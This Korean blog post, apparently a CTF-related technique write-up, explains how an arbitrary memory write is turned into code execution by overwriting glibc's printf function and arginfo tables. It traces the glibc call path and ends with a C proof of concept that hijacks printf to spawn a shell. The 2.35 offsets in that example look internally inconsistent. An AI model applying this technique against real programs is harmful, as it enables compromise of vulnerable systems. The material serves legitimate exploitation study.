포스트

AAW -> ACE 방법 탐구

AAW -> ACE 방법 탐구

__printf_arginfo_table, __printf_function_table 조작을 통한 임의 코드 실행

연관 문제

Dreamhack wheat-and-barley

필요 조건

  • 임의 주소 쓰기를 통해 libc의 __printf_arginfo_table, __printf_function_table을 덮어쓸 수 있어야 함.
  • AAW 후 형식 지정자(Format String)를 사용한 출력 함수가 호출되어야 함

Disassembly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  0x7ff58e36fa64 <__parse_one_specmb+1892>    call   rax                         <0x8b4800000000b8ff>

    0x7ff58e36fa66 <__parse_one_specmb+1894>    mov    ecx, dword ptr [rbx + 8]
    0x7ff58e36fa69 <__parse_one_specmb+1897>    movsxd rdx, eax
    0x7ff58e36fa6c <__parse_one_specmb+1900>    mov    qword ptr [rbx + 0x38], rdx
    0x7ff58e36fa70 <__parse_one_specmb+1904>    test   eax, eax
    0x7ff58e36fa72 <__parse_one_specmb+1906>    js     __parse_one_specmb+334      <__parse_one_specmb+334>

    0x7ff58e36fa78 <__parse_one_specmb+1912>    cmp    dword ptr [rbx + 0x30], -1
    0x7ff58e36fa7c <__parse_one_specmb+1916>    jne    __parse_one_specmb+1040     <__parse_one_specmb+1040>

    0x7ff58e36fa82 <__parse_one_specmb+1922>    test   rdx, rdx
    0x7ff58e36fa85 <__parse_one_specmb+1925>    je     __parse_one_specmb+1040     <__parse_one_specmb+1040>

    0x7ff58e36fa8b <__parse_one_specmb+1931>    jmp    __parse_one_specmb+1119     <__parse_one_specmb+1119>

Backtrace

1
2
3
4
5
6
7
8
  0   0x7ff58e36fa64 __parse_one_specmb+1892
   1   0x7ff58e364c54 printf_positional+276
   2   0x7ff58e367336 __vfprintf_internal+774
   3   0x7ff58e369665 buffered_vfprintf+197
   4   0x7ff58e36865e __vfprintf_internal+5678
   5   0x7ff58e35279f printf+175
   6   0x564cea9434d6 main+723
   7   0x7ff58e31bd90 __libc_start_call_main+128

Flow Analysis

  • printf -> __vfprintf_internal
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
    int
    __printf (const char *format, ...)
    {
    va_list arg;
    int done;
    
    va_start (arg, format);
    done = __vfprintf_internal (stdout, format, arg, 0);
    va_end (arg);
    
    return done;
    }
    
  • vfprintf(__vfprintf_internal) -> buffered_vfprintf
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    int
    vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
    {
    ...
    
    if (UNBUFFERED_P (s))
      /* Use a helper function which will allocate a local temporary buffer
         for the stream and then call us again.  */
      return buffered_vfprintf (s, format, ap, mode_flags);
    
  • buffered_vfprintf -> vfprintf (__vfprintf_internal)
    1
    2
    3
    4
    5
    6
    7
    8
    
    static int
    buffered_vfprintf (FILE *s, const CHAR_T *format, va_list args,
             unsigned int mode_flags)
    {
      ...
    
      /* Now print to helper instead.  */
      result = vfprintf (hp, format, args, mode_flags);
    
  • vfprintf -> printf_positional
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    int
    vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
    {
      ...
      if (__glibc_unlikely (__printf_function_table != NULL
                  || __printf_modifier_table != NULL
                  || __printf_va_arg_table != NULL))
          goto do_positional;
      ...
    do_positional:
      done = printf_positional (s, format, readonly_format, ap, &ap_save,
                      done, nspecs_done, lead_str_end, work_buffer,
                      save_errno, grouping, thousands_sep, mode_flags);
    
  • printf_positional -> __parse_one_specmb
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
    static int
    printf_positional (FILE *s, const CHAR_T *format, int readonly_format,
             va_list ap, va_list *ap_savep, int done, int nspecs_done,
             const UCHAR_T *lead_str_end,
             CHAR_T *work_buffer, int save_errno,
             const char *grouping, THOUSANDS_SEP_T thousands_sep,
             unsigned int mode_flags)
    {
      ...
    
      /* Parse the format specifier.  */
    #ifdef COMPILE_WPRINTF
      nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
    #else
      nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
    
  • __parse_one_specmb -> 함수 포인터 __printf_arginfo_table[spec->info.spec] 호출
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
    size_t
    attribute_hidden
    __parse_one_specmb (const UCHAR_T *format, size_t posn,
              struct printf_spec *spec, size_t *max_ref_arg)
    {
      ...
      if (__builtin_expect (__printf_function_table == NULL, 1)
          || spec->info.spec > UCHAR_MAX
          || __printf_arginfo_table[spec->info.spec] == NULL
          /* We don't try to get the types for all arguments if the format
          uses more than one.  The normal case is covered though.  If
          the call returns -1 we continue with the normal specifiers.  */
          || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
                      (&spec->info, 1, &spec->data_arg_type,
                      &spec->size)) < 0)
    
    • 이때 spec->info.spec은 현재 처리할 형식 지정자
    • 현재 처리할 형식 지정자가 %ld인 경우
      • spec->info.specl을 건너뛴 d(0x64) (l은 단순 spec->is_long 플래그 설정용임)
      • __printf_arginfo_table + 0x64 * 8 위치의 함수 포인터를 원하는 대로 설정하여 임의 함수를 호출할 수 있다.

Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// gcc -o temp temp.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void win() {
    system("/bin/sh");
}

int main(void) {

    // __printf_function_table의 값은 NULL이 아니기만 하면 된다. 따라서, 여기에 win 함수의 주소를 작성한다.
    *(size_t *)((size_t)stdout + 0x1248) = (size_t)win;    // GLIBC 2.35-0ubuntu3.10 (22.04)
    // *(size_t *)((size_t)stdout + 0x10a0) = (size_t)win; // GLIBC 2.39-0ubuntu8.5  (24.04)

    // __printf_arginfo_table의 값은 win 함수의 주소가 적힌 곳으로부터, (현재 처리될 형식 지정자 * 8)만큼을 뺀 주소로 설정한다.
    // 아래에서 호출되는 printf 함수에서 %p 형식 지정자를 사용하므로, 0x70 * 8 만큼을 뺀 주소를 설정한다.
    *(size_t *)((size_t)stdout + 0x130) = (size_t)stdout + 0x10a0 - (0x70 * 8);     // GLIBC 2.35-0ubuntu3.10 (22.04)
    // *(size_t *)((size_t)stdout + 0x10a8) = (size_t)stdout + 0x10a0 - (0x70 * 8); // GLIBC 2.39-0ubuntu8.5 (24.04)

    printf("%p\n", win);
}
  • 컴파일 및 실행 결과
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.

"Linux Userland" 카테고리의 게시물